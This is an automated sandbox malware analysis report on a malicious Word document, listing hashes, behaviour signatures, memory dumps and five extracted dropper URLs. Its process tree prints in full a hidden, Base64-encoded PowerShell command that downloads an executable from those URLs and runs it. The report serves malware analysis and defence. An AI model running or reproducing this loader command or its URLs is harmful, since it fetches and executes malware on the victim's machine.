Analysis

  • max time kernel
    133s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 10:44

General

  • Target

    4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc

  • Size

    291KB

  • MD5

    a46d29710dd6382d57bd63956a70398c

  • SHA1

    2c2a7a24cb960cf6c681f49de8289b3c926052b3

  • SHA256

    4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f

  • SHA512

    66c718e7fe4cd762efa2c86392647b2db5f42a4c8bcb69110e1145a5bf85669d02281a25964780962eed24090cbf52a585e80010402e382978f1a1d088cd9e3e

  • SSDEEP

    6144:T0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Mq0XLswqqj2Ng+/HCxJtbGqFN:T0E3dxtR/iU9mvUPMqUsw32Ng+/HCxJt

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.besthelpinghand.com/wp-admin/tsh4/

exe.dropper

http://safari7.devitsandbox.com/error-log/wuuie/

exe.dropper

https://iconeprojetos.eng.br/wp-includes/rest-api/pkOOwDoI/

exe.dropper

http://hecquet.info/clickandbuilds/mV8Sn/

exe.dropper

http://trungcapduochanoi.info/wp-admin/w3pg1ny/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1316
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABaAGYAZABoAHEAbAB6AGwAcgBrAD0AJwBVAGwAbgByAHIAcgBsAHcAYQB2AGcAbwAnADsAJABVAHcAaQBwAGgAdgB2AHYAZwBzAHkAIAA9ACAAJwA5ADIANAAnADsAJABOAHUAawB1AHoAYwBmAHMAYwBoAD0AJwBBAGwAYgBjAG0AZQB2AG4AawBpAGUAcABiACcAOwAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQB3AGkAcABoAHYAdgB2AGcAcwB5ACsAJwAuAGUAeABlACcAOwAkAEoAZQB6AHAAagB0AGEAbAByAD0AJwBFAHIAcAB0AGwAagBmAHUAbABrAHkAJwA7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAHcARQBCAGMATABpAGUAbgB0ADsAJABWAHQAaQBjAGkAeABiAHkAawBkAHYAZAA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAZQBzAHQAaABlAGwAcABpAG4AZwBoAGEAbgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB0AHMAaAA0AC8AKgBoAHQAdABwADoALwAvAHMAYQBmAGEAcgBpADcALgBkAGUAdgBpAHQAcwBhAG4AZABiAG8AeAAuAGMAbwBtAC8AZQByAHIAbwByAC0AbABvAGcALwB3AHUAdQBpAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBpAGMAbwBuAGUAcAByAG8AagBlAHQAbwBzAC4AZQBuAGcALgBiAHIALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBwAGsATwBPAHcARABvAEkALwAqAGgAdAB0AHAAOgAvAC8AaABlAGMAcQB1AGUAdAAuAGkAbgBmAG8ALwBjAGwAaQBjAGsAYQBuAGQAYgB1AGkAbABkAHMALwBtAFYAOABTAG4ALwAqAGgAdAB0AHAAOgAvAC8AdAByAHUAbgBnAGMAYQBwAGQAdQBvAGMAaABhAG4AbwBpAC4AaQBuAGYAbwAvAHcAcAAtAGEAZABtAGkAbgAvAHcAMwBwAGcAMQBuAHkALwAnAC4AIgBTAFAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAYwBrAGIAZQBxAHYAdABtAHYAdgBvAD0AJwBDAGQAYQBhAGsAdgB4AHoAZAB4AHEAeAAnADsAZgBvAHIAZQBhAGMAaAAoACQAWABnAG8AcABkAHgAbgBlAGgAIABpAG4AIAAkAFYAdABpAGMAaQB4AGIAeQBrAGQAdgBkACkAewB0AHIAeQB7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAC4AIgBEAE8AdwBgAE4ATABPAGEARABmAGAAaQBsAGUAIgAoACQAWABnAG8AcABkAHgAbgBlAGgALAAgACQAUgBuAHgAZQBxAHIAaABsAHQAbgBtACkAOwAkAEcAYgB3AGsAbABnAGYAZwBpAHkAPQAnAE0AdgBzAHcAdABmAGgAcQAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQApAC4AIgBMAEUATgBgAEcAdABoACIAIAAtAGcAZQAgADIAMgA4ADcANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABSAG4AeABlAHEAcgBoAGwAdABuAG0AKQA7ACQASwBvAHgAdgBqAHoAbQBsAGgAdgA9ACcASwB6AGsAYwB4AG4AdgB1AGIAdABqACcAOwBiAHIAZQBhAGsAOwAkAEgAZwBlAGsAcABkAGYAbwA9ACcAVwBuAGsAdgBnAHcAbgB6AGUAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGkAYwBrAGQAaQB3AGoAcgA9ACcAUwBjAHQAaABhAHMAcwBmAHoAdQBuACcA
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4452

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDB873.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t2q1ioog.edw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • memory/1316-34-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-59-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-5-0x00007FFC50FD0000-0x00007FFC50FE0000-memory.dmp

    Filesize

    64KB

  • memory/1316-6-0x00007FFC50FD0000-0x00007FFC50FE0000-memory.dmp

    Filesize

    64KB

  • memory/1316-10-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-11-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-12-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-13-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-9-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-14-0x00007FFC4EF70000-0x00007FFC4EF80000-memory.dmp

    Filesize

    64KB

  • memory/1316-8-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-7-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-15-0x00007FFC4EF70000-0x00007FFC4EF80000-memory.dmp

    Filesize

    64KB

  • memory/1316-22-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-23-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-0-0x00007FFC50FD0000-0x00007FFC50FE0000-memory.dmp

    Filesize

    64KB

  • memory/1316-4-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-3-0x00007FFC50FD0000-0x00007FFC50FE0000-memory.dmp

    Filesize

    64KB

  • memory/1316-37-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-1-0x00007FFC90FED000-0x00007FFC90FEE000-memory.dmp

    Filesize

    4KB

  • memory/1316-49-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-2-0x00007FFC50FD0000-0x00007FFC50FE0000-memory.dmp

    Filesize

    64KB

  • memory/1316-56-0x00007FFC90FED000-0x00007FFC90FEE000-memory.dmp

    Filesize

    4KB

  • memory/1316-57-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-58-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-71-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-72-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-63-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-64-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/1316-68-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/4452-62-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB

  • memory/4452-45-0x0000012165590000-0x00000121655B2000-memory.dmp

    Filesize

    136KB

  • memory/4452-38-0x00007FFC90F50000-0x00007FFC91145000-memory.dmp

    Filesize

    2.0MB